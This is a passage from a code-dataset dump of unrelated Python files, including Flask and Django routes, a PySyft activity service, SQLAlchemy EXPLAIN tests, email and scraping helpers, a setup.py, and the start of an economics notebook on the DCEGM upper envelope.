service_item['company'] = user.company\n c_items = user_service.c_items\n\n service_item['items'] = c_items\n services.append(service_item)\n\n return render_template('client/report.html',services=services)\n\n\n@app.route(\"/history-page\")\n@login_required\ndef history_page():\n if(check_admin()):\n return redirect(url_for('page_error'))\n\n users_list = User.query.filter_by(role=0).all()\n users = []\n for user in users_list:\n user_services = user.user_services\n if user_services:\n services = []\n for user_service in user_services:\n service_item ={}\n service_item['user_service'] = user_service.name\n service_item['project'] = user_service.project_name\n service_item['company'] = user.company\n c_items = user_service.c_items\n\n service_item['items'] = c_items\n services.append(service_item)\n users.append(services)\n print(users)\n return render_template('admin/history.html',users=users)\n\n\n@app.route(\"/service-detail\")\n@login_required\ndef service_detail():\n if(check_admin()):\n return redirect(url_for('page_error'))\n\n return render_template(\"admin/service-detail.html\")","sub_path":"manage/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":40809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"120842949","text":"from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nfrom survey import views\nimport settings\n\nadmin.autodiscover()\nmedia_url = settings.MEDIA_URL.lstrip('/').rstrip('/')\n\nurlpatterns = patterns('',\n # Examples:\n url(r'^admin/', include(admin.site.urls)),\n url(r'^home/$', views.index, name='home'),\n url(r'^survey/(?P\\d+)/$', views.survey_detail, name='survey_detail'),\n url(r'^confirm/(?P\\w+)/$', views.confirm, name='confirmation'),\n url(r'^login/$', views.user_login, name='login'),\n url(r'^register/$', views.register, name='register'),\n url(r'^logout/$', views.user_logout, name='logout'),\n url(r'^survey_list/$', views.survey_list, name='survey_list'),\n )\n\n# media url hackery. le sigh. \nurlpatterns += patterns('',\n (r'^%s/(?P.*)$' % media_url, 'django.views.static.serve',\n {'document_root': settings.MEDIA_ROOT, 'show_indexes': True}),\n )\n","sub_path":"survey/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"249194149","text":"import ast\nimport torch\nimport utils.misc as misc\nimport datetime\n\ndef get_dict(config):\n conf_dict = {}\n\n sections = config.sections()\n\n for section in sections:\n options = config.options(section)\n for option in options:\n conf_dict[option] = ast.literal_eval(config.get(section, option))\n \n return conf_dict\n\nclass Config:\n def __init__(self, config):\n for k, v in config.items():\n setattr(self, k, v)\n\nclass RoboConfig(Config):\n def __init__(self, config):\n self.conf_dict = get_dict(config)\n self.conditional_inits()\n\n num_TA = self.conf_dict['num_left']\n num_OA = self.conf_dict['num_right']\n # Prep Session Files ------------------------------\n self.session_path = None\n current_day_time = datetime.datetime.now()\n self.session_path = 'data/training_sessions/' + \\\n str(current_day_time.month) + \\\n '_' + str(current_day_time.day) + \\\n '_' + str(current_day_time.hour) + '_' + \\\n str(num_TA) + '_vs_' + str(num_OA) + \"/\"\n self.hist_dir = self.session_path +\"history\"\n self.eval_hist_dir = self.session_path +\"eval_history\"\n self.eval_log_dir = self.session_path +\"eval_log\" # evaluation logfiles\n self.load_path = self.session_path +\"models/\"\n self.ensemble_path = self.session_path +\"ensemble_models/\"\n misc.prep_session(self.session_path,self.hist_dir,self.eval_hist_dir,self.eval_log_dir,\n self.load_path,self.ensemble_path,self.conf_dict['logs'],num_TA)\n\n super().__init__(self.conf_dict)\n\n def conditional_inits(self):\n if self.conf_dict['d4pg']:\n self.conf_dict['a_lr'] = 0.0001 # actor learning rate\n self.conf_dict['c_lr'] = 0.001 # critic learning rate\n else:\n self.conf_dict['a_lr'] = 0.0002\n self.conf_dict['c_lr'] = 0.0001\n self.conf_dict['delta_z'] = (float(self.conf_dict['vmax'] - self.conf_dict['vmin'])) / (self.conf_dict['n_atoms'] - 1)\n self.conf_dict['freeze_actor'] = 0.0\n self.conf_dict['freeze_critic'] = 0.0\n\n if self.conf_dict['load_same_agent']:\n self.conf_dict['num_update_threads'] = 1\n \n self.conf_dict['overlap'] = self.conf_dict['seq_length'] // 2\n\n if self.conf_dict['seq_length'] % 2 != 0:\n print('Sequnce length must be divisble by 2')\n exit(0)\n \n if self.conf_dict['cuda']:\n self.conf_dict['device'] = 'cuda'\n self.conf_dict['to_gpu'] = True\n else:\n self.conf_dict['device'] = 'cpu'\n self.conf_dict['to_gpu'] = False\n torch.set_num_threads(self.conf_dict['num_threads'])\n self.conf_dict['torch_device'] = torch.device(self.conf_dict['device'])\n \n if self.conf_dict['al'] == 'high':\n self.conf_dict['discrete_action'] = True\n else:\n self.conf_dict['discrete_action'] = False\n \n self.conf_dict['initial_models'] = [\"data/training_sessions/5_21_15_3_vs_3/ensemble_models/ensemble_agent_0/model_0.pth\",\n \"data/training_sessions/5_21_15_3_vs_3/ensemble_models/ensemble_agent_1/model_0.pth\",\n \"data/training_sessions/5_21_15_3_vs_3/ensemble_models/ensemble_agent_2/model_0.pth\"]\n\n self.conf_dict['burn_in_eps'] = float(self.conf_dict['burn_in']) / self.conf_dict['untouched']\n\n self.conf_dict['current_ensembles'] = [0]*self.conf_dict['num_left']\n \n def env_inits(self, env):\n team_net_params = []\n for acsp, obsp in zip([env.action_list for i in range(env.num_TA)], env.team_obs):\n if self.preprocess:\n num_in_pol = config.reduced_obs_dim\n else:\n num_in_pol = obsp.shape[0]\n num_in_reducer = obsp.shape[0]\n num_out_pol = len(env.action_list)\n\n if not self.discrete_action:\n num_out_pol = len(env.action_list) + len(env.team_action_params[0])\n \n num_in_EM = (num_out_pol*env.num_TA) + num_in_pol\n num_out_EM = num_in_pol\n\n num_in_critic = (num_in_pol - num_out_pol) + (num_out_pol * env.num_TA *2 ) + (env.num_TA -1) \n \n team_net_params.append({'num_in_pol': num_in_pol,\n 'num_out_pol': num_out_pol,\n 'num_in_critic': num_in_critic,\n 'num_in_EM': num_in_EM,\n 'num_out_EM': num_out_EM,\n 'num_in_reducer': num_in_reducer})\n\n setattr(self, 'team_net_params', team_net_params)\n ","sub_path":"shiva/archive/robocup/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"212130074","text":"from sklearn.decomposition import PCA\n# alt (large dataset): from sklearn.decomposition import RandomizedPCA\n\n# n_components\n# others (default): copy=True, whiten=False\nmodel = PCA(n_components=2)\n\nmodel.fit(X_train)\nX_pca = model.transform(X_train)\n\n# Alternative to the last 2 lines:\nX_pca = model.fit_transform(X_train)\n\n\nX_new = model.inverse_transform(X_pca)\n\n#\nmodel.components_\nmodel.explained_variance_\nmodel.explained_variance_ratio_\n\n# Choosing the number of components\nplt.plot(np.cumsum(model.explained_variance_ratio_))\nplt.xlabel('number of components')\nplt.ylabel('cumulative explained variance');\n","sub_path":"ml/4_dim_pca.py","file_name":"4_dim_pca.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"346038300","text":"import sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\nfrom sqlalchemy_utils.expressions import explain, explain_analyze\nfrom tests import TestCase\n\n\nclass ExpressionTestCase(TestCase):\n dns = 'postgres://postgres@localhost/sqlalchemy_utils_test'\n\n def create_models(self):\n class Article(self.Base):\n __tablename__ = 'article'\n id = sa.Column(sa.Integer, primary_key=True)\n name = sa.Column(sa.Unicode(255))\n content = sa.Column(sa.UnicodeText)\n\n self.Article = Article\n\n def assert_startswith(self, query, query_part):\n assert str(\n query.compile(dialect=postgresql.dialect())\n ).startswith(query_part)\n # Check that query executes properly\n self.session.execute(query)\n\n\nclass TestExplain(ExpressionTestCase):\n def test_render_explain(self):\n self.assert_startswith(\n explain(self.session.query(self.Article)),\n 'EXPLAIN SELECT'\n )\n\n def test_render_explain_with_analyze(self):\n self.assert_startswith(\n explain(self.session.query(self.Article), analyze=True),\n 'EXPLAIN (ANALYZE true) SELECT'\n )\n\n def test_with_string_as_stmt_param(self):\n self.assert_startswith(\n explain('SELECT 1 FROM article'),\n 'EXPLAIN SELECT'\n )\n\n def test_format(self):\n self.assert_startswith(\n explain('SELECT 1 FROM article', format='json'),\n 'EXPLAIN (FORMAT json) SELECT'\n )\n\n def test_timing(self):\n self.assert_startswith(\n explain('SELECT 1 FROM article', analyze=True, timing=False),\n 'EXPLAIN (ANALYZE true, TIMING false) SELECT'\n )\n\n def test_verbose(self):\n self.assert_startswith(\n explain('SELECT 1 FROM article', verbose=True),\n 'EXPLAIN (VERBOSE true) SELECT'\n )\n\n def test_buffers(self):\n self.assert_startswith(\n explain('SELECT 1 FROM article', analyze=True, buffers=True),\n 'EXPLAIN (ANALYZE true, BUFFERS true) SELECT'\n )\n\n def test_costs(self):\n self.assert_startswith(\n explain('SELECT 1 FROM article', costs=False),\n 'EXPLAIN (COSTS false) SELECT'\n )\n\n\nclass TestExplainAnalyze(ExpressionTestCase):\n def test_render_explain_analyze(self):\n assert str(\n explain_analyze(self.session.query(self.Article))\n .compile(\n dialect=postgresql.dialect()\n )\n ).startswith('EXPLAIN (ANALYZE true) SELECT')\n","sub_path":"tests/test_expressions.py","file_name":"test_expressions.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"249219227","text":"# stdlib\nfrom typing import List\nfrom typing import Union\n\n# relative\nfrom ...node.credentials import SyftVerifyKey\nfrom ...serde.serializable import serializable\nfrom ...store.document_store import DocumentStore\nfrom ...types.uid import UID\nfrom ...util.telemetry import instrument\nfrom ..action.action_permissions import ActionObjectREAD\nfrom ..context import AuthedServiceContext\nfrom ..response import SyftError\nfrom ..response import SyftSuccess\nfrom ..service import AbstractService\nfrom ..service import SERVICE_TO_TYPES\nfrom ..service import TYPE_TO_SERVICE\nfrom ..service import service_method\nfrom ..user.user_roles import DATA_SCIENTIST_ROLE_LEVEL\nfrom ..user.user_roles import GUEST_ROLE_LEVEL\nfrom .activity import Activity\nfrom .activity import ActivityStatus\nfrom .activity import CreateActivity\nfrom .activity import LinkedObject\nfrom .activity import ReplyActivity\nfrom .activity_stash import ActivityStash\n\n\n@instrument\n@serializable()\nclass ActivityService(AbstractService):\n store: DocumentStore\n stash: ActivityStash\n\n def __init__(self, store: DocumentStore) -> None:\n self.store = store\n self.stash = ActivityStash(store=store)\n\n @service_method(path=\"activitys.send\", name=\"send\")\n def send(\n self, context: AuthedServiceContext, activity: CreateActivity\n ) -> Union[Activity, SyftError]:\n \"\"\"Send a new activity\"\"\"\n\n new_activity = activity.to(Activity, context=context)\n\n # Add read permissions to person receiving this message\n permissions = [\n ActionObjectREAD(\n uid=new_activity.id, credentials=new_activity.to_user_verify_key\n )\n ]\n\n result = self.stash.set(\n context.credentials, new_activity, add_permissions=permissions\n )\n\n if result.is_err():\n return SyftError(message=str(result.err()))\n return result.ok()\n\n @service_method(path=\"activitys.reply\", name=\"reply\", roles=GUEST_ROLE_LEVEL)\n def reply(\n self,\n context: AuthedServiceContext,\n reply: ReplyActivity,\n ) -> Union[ReplyActivity, SyftError]:\n msg = self.stash.get_by_uid(\n credentials=context.credentials, uid=reply.target_msg\n )\n if msg.is_ok():\n msg = msg.ok()\n reply.from_user_verify_key = context.credentials\n msg.replies.append(reply)\n result = self.stash.update(credentials=context.credentials, obj=msg)\n if result.is_ok():\n return result.ok()\n else:\n SyftError(\n message=\"Couldn't add a new activity reply in the target activity.\"\n )\n else:\n SyftError(\n message=\"The target activity id {reply.target_msg} was not found!\"\n )\n\n @service_method(\n path=\"activitys.get_all\",\n name=\"get_all\",\n roles=DATA_SCIENTIST_ROLE_LEVEL,\n )\n def get_all(\n self,\n context: AuthedServiceContext,\n ) -> Union[List[Activity], SyftError]:\n result = self.stash.get_all_inbox_for_verify_key(\n context.credentials,\n verify_key=context.credentials,\n )\n if result.err():\n return SyftError(message=str(result.err()))\n activitys = result.ok()\n return activitys\n\n @service_method(\n path=\"activitys.get_all_by_uid\",\n name=\"get_all_by_uid\",\n roles=DATA_SCIENTIST_ROLE_LEVEL,\n )\n def get_all_by_uid(\n self,\n context: AuthedServiceContext,\n user_id: UID,\n ) -> Union[List[Activity], SyftError]:\n result = self.stash.get_all_inbox_for_user_id(\n context.credentials,\n user_id=user_id,\n )\n if result.err():\n return SyftError(message=str(result.err()))\n activitys = result.ok()\n return activitys\n\n @service_method(\n path=\"activitys.get_user_activity\",\n name=\"get_user_activity\",\n roles=DATA_SCIENTIST_ROLE_LEVEL,\n )\n def get_user_activity(\n self,\n context: AuthedServiceContext,\n user_verify_key: SyftVerifyKey,\n ) -> Union[List[Activity], SyftError]:\n result = self.stash.get_all_inbox_for_verify_key(\n context.credentials,\n verify_key=user_verify_key,\n )\n if result.err():\n return SyftError(message=str(result.err()))\n activitys = result.ok()\n return activitys\n\n @service_method(\n path=\"activitys.get_all_sent\",\n name=\"outbox\",\n roles=DATA_SCIENTIST_ROLE_LEVEL,\n )\n def get_all_sent(\n self, context: AuthedServiceContext\n ) -> Union[List[Activity], SyftError]:\n result = self.stash.get_all_sent_for_verify_key(\n context.credentials, context.credentials\n )\n if result.err():\n return SyftError(message=str(result.err()))\n activitys = result.ok()\n return activitys\n\n # get_all_read and unread cover the same functionality currently as\n # get_all_for_status. However, there may be more statuses added in the future,\n # so we are keeping the more generic get_all_for_status method.\n def get_all_for_status(\n self,\n context: AuthedServiceContext,\n status: ActivityStatus,\n ) -> Union[List[Activity], SyftError]:\n result = self.stash.get_all_by_verify_key_for_status(\n context.credentials, verify_key=context.credentials, status=status\n )\n if result.err():\n return SyftError(message=str(result.err()))\n activitys = result.ok()\n return activitys\n\n @service_method(\n path=\"activitys.get_all_read\",\n name=\"get_all_read\",\n roles=DATA_SCIENTIST_ROLE_LEVEL,\n )\n def get_all_read(\n self,\n context: AuthedServiceContext,\n ) -> Union[List[Activity], SyftError]:\n return self.get_all_for_status(\n context=context,\n status=ActivityStatus.READ,\n )\n\n @service_method(\n path=\"activitys.get_all_unread\",\n name=\"get_all_unread\",\n roles=DATA_SCIENTIST_ROLE_LEVEL,\n )\n def get_all_unread(\n self,\n context: AuthedServiceContext,\n ) -> Union[List[Activity], SyftError]:\n return self.get_all_for_status(\n context=context,\n status=ActivityStatus.UNREAD,\n )\n\n @service_method(path=\"activitys.mark_as_read\", name=\"mark_as_read\")\n def mark_as_read(\n self, context: AuthedServiceContext, uid: UID\n ) -> Union[Activity, SyftError]:\n result = self.stash.update_activity_status(\n context.credentials, uid=uid, status=ActivityStatus.READ\n )\n if result.is_err():\n return SyftError(message=str(result.err()))\n return result.ok()\n\n @service_method(path=\"activitys.mark_as_unread\", name=\"mark_as_unread\")\n def mark_as_unread(\n self, context: AuthedServiceContext, uid: UID\n ) -> Union[Activity, SyftError]:\n result = self.stash.update_activity_status(\n context.credentials, uid=uid, status=ActivityStatus.UNREAD\n )\n if result.is_err():\n return SyftError(message=str(result.err()))\n return result.ok()\n\n @service_method(\n path=\"activitys.resolve_object\",\n name=\"resolve_object\",\n roles=DATA_SCIENTIST_ROLE_LEVEL,\n )\n def resolve_object(\n self, context: AuthedServiceContext, linked_obj: LinkedObject\n ) -> Union[Activity, SyftError]:\n service = context.node.get_service(linked_obj.service_type)\n result = service.resolve_link(context=context, linked_obj=linked_obj)\n if result.is_err():\n return SyftError(message=str(result.err()))\n return result.ok()\n\n @service_method(path=\"activitys.clear\", name=\"clear\")\n def clear(self, context: AuthedServiceContext) -> Union[SyftError, SyftSuccess]:\n result = self.stash.delete_all_for_verify_key(\n credentials=context.credentials, verify_key=context.credentials\n )\n if result.is_ok():\n return SyftSuccess(message=\"All activitys cleared !!\")\n return SyftError(message=str(result.err()))\n\n def filter_by_obj(\n self, context: AuthedServiceContext, obj_uid: UID\n ) -> Union[Activity, SyftError]:\n activitys = self.stash.get_all(context.credentials)\n if activitys.is_ok():\n for activity in activitys.ok():\n if activity.linked_obj and activity.linked_obj.object_uid == obj_uid:\n return activity\n else:\n return SyftError(message=\"Could not get activitys!!\")\n\n\nTYPE_TO_SERVICE[Activity] = ActivityService\nSERVICE_TO_TYPES[ActivityService].update({Activity})\n","sub_path":"packages/syft/src/syft/service/activity/activity_service.py","file_name":"activity_service.py","file_ext":"py","file_size_in_byte":8783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"96794819","text":"import os\nfrom django.core.mail import send_mail\nfrom django.conf import settings\n\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail\n\ndef send_email(destinatary='product-sparrer@mailinator.com', subject=' ', body='Empty'):\n message = Mail(\n from_email='noreply@product-sparrer.com',\n to_emails= destinatary,\n subject=subject,\n html_content=body\n )\n try:\n sg = SendGridAPIClient(os.environ.get('SENDGRID_API_KEY'))\n response = sg.send(message)\n except Exception as e:\n print(str(e))\n\ndef send_gmail(destinatary='product-sparrer@mailinator.com', subject=' ', body='Empty'):\n email_from = settings.EMAIL_HOST_USER\n recipient_list = [destinatary,]\n send_mail( subject, body, email_from, recipient_list )\n","sub_path":"django-back-end/product_sparrer/utils/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"588561093","text":"import events\nfrom scrape import scrapeEvent\nimport dateparser\nimport json\nimport datetime\nimport time\n\n\n\ndef filterEvents(events, fromDate=datetime.date(1,1,1), toDate=datetime.date(9000,1,1), minRounds=0, maxRounds=100):\n if (fromDate == datetime.date(1,1,1)\n and toDate == datetime.date(9000,1,1)\n and minRounds == 0\n and maxRounds == 100):\n return events\n else:\n return [x for x in events\n if dateparser.parse(x[\"date\"]).date()>fromDate\n and dateparser.parse(x[\"date\"]).date()= minRounds\n and x[\"rounds\"] <= maxRounds\n ]\n\ndef writeToFile(text, filename, jsn=False):\n if not json:\n with open(filename, \"w+\") as f:\n f.write(text)\n elif jsn:\n with open(filename, \"w+\") as f:\n f.write(json.dumps(text, indent=4, default=str))\n\ndef already_scraped(alreadyScraped, event):\n for x in alreadyScraped:\n if event[\"eventId\"] == x[\"eventId\"]:\n return True\n return False\n\nif __name__ == \"__main__\":\n with open(\"events.json\", 'r') as f:\n events = json.load(f)\n with open(\"eventsCoallated.json\", 'r') as f:\n alreadyScraped = json.load(f)\n events = filterEvents(events)#, datetime.date(2018,1,1))\n counter = 0\n total = len(events)\n for event in events:\n if not already_scraped(alreadyScraped, event):\n counter += 1 \n url = \"https://www.bestcoastpairings.com/r/\" + event[\"eventId\"].split(\"/\")[2]\n event[\"results\"] = scrapeEvent(url)\n if event[\"results\"]:\n alreadyScraped.append(event)\n print(\"scraped: \" + str(counter) + \" / \" + str(total) + \", current id: \" + event[\"eventId\"])\n time.sleep(0.5)\n else:\n print(\"Event skipped, not yet reported\")\n writeToFile(alreadyScraped, \"eventsCoallated.json\", True)\n","sub_path":"scrapeAndCoallate.py","file_name":"scrapeAndCoallate.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"32882297","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\nimport imp\nimport os\nimport subprocess\nimport sys\nimport unittest\n\n## Python 2.6 subprocess.check_output compatibility. Thanks Greg Hewgill!\nif 'check_output' not in dir(subprocess):\n def check_output(cmd_args, *args, **kwargs):\n proc = subprocess.Popen(\n cmd_args, *args,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE, **kwargs)\n out, err = proc.communicate()\n if proc.returncode != 0:\n raise subprocess.CalledProcessError(args)\n return out\n\n\n subprocess.check_output = check_output\n\nfrom setuptools import setup, find_packages\nfrom distutils import spawn\n\ntry:\n import colorama\n\n colorama.init() # Initialize colorama on Windows\nexcept ImportError:\n # Don't require colorama just for running paver tasks. This allows us to\n # run `paver install' without requiring the user to first have colorama\n # installed.\n pass\n\n# Add the current directory to the module search path.\nsys.path.insert(0, os.path.abspath('.'))\n\n## Constants\nCODE_DIRECTORY = 'pipesnake'\nDOCS_DIRECTORY = 'docs'\nTESTS_DIRECTORY = 'tests'\nPYTEST_FLAGS = ['--doctest-modules']\n\n# Import metadata. Normally this would just be:\n#\n# from pipesnake import metadata\n#\n# However, when we do this, we also import `pipesnake/__init__.py'. If this\n# imports names from some other modules and these modules have third-party\n# dependencies that need installing (which happens after this file is run), the\n# script will crash. What we do instead is to load the metadata module by path\n# instead, effectively side-stepping the dependency problem. Please make sure\n# metadata has no dependencies, otherwise they will need to be added to\n# the setup_requires keyword.\nmetadata = imp.load_source(\n 'metadata', os.path.join(CODE_DIRECTORY, 'metadata.py'))\n\n\n## Miscellaneous helper functions\n\ndef get_project_files():\n \"\"\"Retrieve a list of project files, ignoring hidden files.\n\n :return: sorted list of project files\n :rtype: :class:`list`\n \"\"\"\n if is_git_project() and has_git():\n return get_git_project_files()\n\n project_files = []\n for top, subdirs, files in os.walk('.'):\n for subdir in subdirs:\n if subdir.startswith('.'):\n subdirs.remove(subdir)\n\n for f in files:\n if f.startswith('.'):\n continue\n project_files.append(os.path.join(top, f))\n\n return project_files\n\n\ndef is_git_project():\n return os.path.isdir('.git')\n\n\ndef has_git():\n return bool(spawn.find_executable(\"git\"))\n\n\ndef get_git_project_files():\n \"\"\"Retrieve a list of all non-ignored files, including untracked files,\n excluding deleted files.\n\n :return: sorted list of git project files\n :rtype: :class:`list`\n \"\"\"\n cached_and_untracked_files = git_ls_files(\n '--cached', # All files cached in the index\n '--others', # Untracked files\n # Exclude untracked files that would be excluded by .gitignore, etc.\n '--exclude-standard')\n uncommitted_deleted_files = git_ls_files('--deleted')\n\n # Since sorting of files in a set is arbitrary, return a sorted list to\n # provide a well-defined order to tools like flake8, etc.\n return sorted(cached_and_untracked_files - uncommitted_deleted_files)\n\n\ndef git_ls_files(*cmd_args):\n \"\"\"Run ``git ls-files`` in the top-level project directory. Arguments go\n directly to execution call.\n\n :return: set of file names\n :rtype: :class:`set`\n \"\"\"\n cmd = ['git', 'ls-files']\n cmd.extend(cmd_args)\n return set(subprocess.check_output(cmd).splitlines())\n\n\ndef print_success_message(message):\n \"\"\"Print a message indicating success in green color to STDOUT.\n\n :param message: the message to print\n :type message: :class:`str`\n \"\"\"\n try:\n import colorama\n print(colorama.Fore.GREEN + message + colorama.Fore.RESET)\n except ImportError:\n print(message)\n\n\ndef print_failure_message(message):\n \"\"\"Print a message indicating failure in red color to STDERR.\n\n :param message: the message to print\n :type message: :class:`str`\n \"\"\"\n try:\n import colorama\n print(colorama.Fore.RED + message + colorama.Fore.RESET,\n file=sys.stderr)\n except ImportError:\n print(message, file=sys.stderr)\n\n\ndef read(filename):\n \"\"\"Return the contents of a file.\n\n :param filename: file path\n :type filename: :class:`str`\n :return: the file's content\n :rtype: :class:`str`\n \"\"\"\n with open(os.path.join(os.path.dirname(__file__), filename)) as f:\n return f.read()\n\n\n# define install_requires for specific Python versions\npython_version_specific_requires = []\n\n# as of Python >= 2.7 and >= 3.2, the argparse module is maintained within\n# the Python standard library, otherwise we install it as a separate package\nif sys.version_info < (2, 7) or (3, 0) <= sys.version_info < (3, 3):\n python_version_specific_requires.append('argparse')\n\n\ndef load_test_suite():\n test_loader = unittest.TestLoader()\n test_suite = test_loader.discover('tests', pattern='test_*.py')\n return test_suite\n\n# See here for more options:\n# \nsetup_dict = dict(\n name=metadata.package,\n version=metadata.version,\n author=metadata.authors[0],\n author_email=metadata.emails[0],\n maintainer=metadata.authors[0],\n maintainer_email=metadata.emails[0],\n url=metadata.url,\n description=metadata.description,\n long_description=read('README.md'),\n # Find a list of classifiers here:\n # \n classifiers=[\n 'Development Status :: 1 - Planning',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: Implementation :: PyPy',\n 'Topic :: Documentation',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: System :: Installation/Setup',\n 'Topic :: System :: Software Distribution',\n ],\n packages=find_packages(exclude=(TESTS_DIRECTORY,)),\n install_requires=[\n # your module dependencies\n ] + python_version_specific_requires,\n # Allow tests to be run with `python setup.py test'.\n tests_require=[\n 'pytest==3.2.5',\n 'mock==2.0.0',\n 'flake8==3.5.0',\n ],\n test_suite='setup.load_test_suite',\n zip_safe=False, # don't use eggs\n # entry_points={\n # 'console_scripts': [\n # 'pipesnake_cli = pipesnake.main:entry_point'\n # ],\n # # if you have a gui, use this\n # # 'gui_scripts': [\n # # 'pipesnake_gui = pipesnake.gui:entry_point'\n # # ]\n # }\n)\n\n\ndef main():\n setup(**setup_dict)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":7278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"640149994","text":"import asyncio\nimport aiohttp\n\n\nasync def retrieve(url, session, timeout):\n try:\n async with session.get(url, timeout=timeout) as response:\n return await response.text()\n except Exception:\n print(f'Timeout to: {url}')\n return ''\n\n\nasync def get_url(url, timeout, headers):\n async with aiohttp.ClientSession(headers=headers) as session:\n return await retrieve(url, session, timeout)\n\n\nasync def get_multiple_urls(urls, timeout, headers):\n tasks = []\n async with aiohttp.ClientSession(headers=headers) as session:\n for url in urls:\n task = asyncio.ensure_future(retrieve(url, session, timeout))\n tasks.append(task)\n\n responses = await asyncio.gather(*tasks)\n return responses\n","sub_path":"web/networking.py","file_name":"networking.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"52422655","text":"from django.urls import path\nfrom . import views\n\napp_name = 'map'\n\nurlpatterns = [\n path('home/', views.home_view, name='home_view'),\n path('restaurant/', views.restaurant_view, name='restaurant_view'),\n path('shopping_malls/', views.shopping_mall_view, name='shopping_mall_view')\n]","sub_path":"map/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"53072052","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n# jupytext:\n# cell_metadata_filter: collapsed\n# formats: ipynb,py:light\n# rst2md: false\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.4'\n# jupytext_version: 1.2.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# # DCEGM Upper Envelope\n# ## [\"The endogenous grid method for discrete-continuous dynamic choice models with (or without) taste shocks\"](https://onlinelibrary.wiley.com/doi/abs/10.3982/QE643)\n#\n#

For the following badges: GitHub does not allow click-through redirects; right-click to get the link, then paste into navigation bar

\n#\n# [![Open in Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/econ-ark/DemARK/master?filepath=notebooks%2FDCEGM-Upper-Envelope.ipynb)\n#\n# [![Open in CoLab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/econ-ark/DemARK/blob/master/notebooks/DCEGM-Upper-Envelope.ipynb)\n#\n#\n#\n# This notebook provides a simple introduction to the upper envelope calculation in the \"DCEGM\" algorithm . It takes the EGM method proposed in , and extends it to the mixed choice (discrete and continuous) case. It handles various constraints. It works on a 1-dimensional problems.\n#\n# The main challenge in the types of models considered in DCEGM is, that the first order conditions to the Bellman equations are no longer sufficient to find an optimum. Though, they are still necessary in a broad class of models. This means that our EGM step will give us (resource, consumption) pairs that do fulfill the FOCs, but that are sub-optimal (there's another consumption choices for the same initial resources that gives a higher value).\n#\n# Take a consumption model formulated as:\n# $$\n# \\max_{\\{c_t\\}^T_{t=1}} \\sum^T_{t=1}\\beta^t\\cdot u(c_t)\n# $$\n# given some initial condition on $x$ and some laws of motion for the states, though explicit references to states are omitted. Then, if we're in a class of models described in EGM\n# , we can show that\n# $$\n# c_t = {u_{c}}^{-1}[E_t(u_c(c_{t+1}))]\n# $$\n# uniquely determines an optimal consumption today given the expected marginal utility of consuming tomorrow. However, if there is a another choice in the choice set, and that choice is discrete, we get\n# $$\n# \\max_{\\{c_t, d_t\\}^T_{t=1}} \\sum^T_{t=1}\\beta^t\\cdot u(c_t, d_t)\n# $$\n# again given initial conditions and the laws of motion. Then, we can show that\n# $$\n# c_t = {u_{c}}^{-1}[E_t(u_c(c_{t+1}))]\n# $$\n# will produce solutions that are necessary but not sufficient. Note, that there is no explicit mentioning of the discrete choices in the expectation, but they obviously vary over the realized states in general. For the optimal consumption, it doesn't matter what the choice is exactly, only what expected marginal utility is tomorrow. The algorithm presented in [1] is designed to take advantage of models with this structure.\n#\n# To visualize the problem, consider the following pictures that show the output of an EGM step from the model in the REMARK [linkhere].\n\n# imports\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# +\n# here for now, should be\n# from HARK import discontools or whatever name is chosen\nfrom HARK.interpolation import LinearInterp\n\ndef dcegmSegments(x, v):\n \"\"\"\n Find index vectors `rise` and `fall` such that `rise` holds the indices `i`\n such that x[i+1]>x[i] and `fall` holds indices `j` such that either\n - x[j+1] < x[j] or,\n - x[j]>x[j-1] and v[j] x[i-1] # true if grid decreases on index decrement\n val_fell = v[i] < v[i-1] # true if value rises on index decrement\n\n if (ip1_falls and i_rose) or (val_fell and i_rose):\n\n # we are in a region where the endogenous grid is decreasing or\n # the value function rises by stepping back in the grid.\n fall = np.append(fall, i) # add the index to the vector\n\n # We now iterate from the current index onwards until we find 